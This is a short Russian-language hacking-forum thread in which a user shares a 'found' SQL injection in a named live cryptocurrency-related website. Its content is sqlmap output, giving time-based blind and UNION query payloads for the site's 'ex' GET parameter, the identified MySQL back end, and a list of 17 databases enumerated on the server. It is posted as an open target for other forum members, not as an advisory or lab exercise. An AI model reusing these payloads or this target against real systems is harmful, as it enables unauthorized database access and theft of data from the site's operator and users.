Найденные интересеные SQL inj & XSS

Ul0rix

HDD-drive
Пользователь
Регистрация
16.06.2019
Сообщения
23
Оценка реакций
137
Баллы
33

astroscylla

floppy-диск
Пользователь
Регистрация
17.09.2019
Сообщения
6
Оценка реакций
0
Баллы
1
https://coinarbitragebot.com/market.php?ex=tradesatoshi

Код:
---
Parameter: ex (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ex=tradesatoshi' AND (SELECT 6151 FROM (SELECT(SLEEP(5)))Vxbf) AND 'mRGh'='mRGh

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: ex=-5830' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b6b71,0x70466e5367766a614157636d4e496d5a43594f4e7a6b746850777a6b565559766d56694a4e456a4a,0x7162787071),NULL,NULL-- QZWc
---

[INFO] the back-end DBMS is MySQL
web application technology: PHP
back-end DBMS: MySQL >= 5.0.12

available databases [17]:                                                                                                                                                                                                            
[*] aio
[*] ayfon
[*] burkul
[*] filehippo
[*] information_schema
[*] instagramvid
[*] lyrics
[*] lyricstalk
[*] lyricx
[*] mp3_lyrics
[*] mp3bueno
[*] mp3raid
[*] mp3skull
[*] mysql
[*] performance_schema
[*] ringtone_stats
[*] seotools
 
Последнее редактирование:
Верх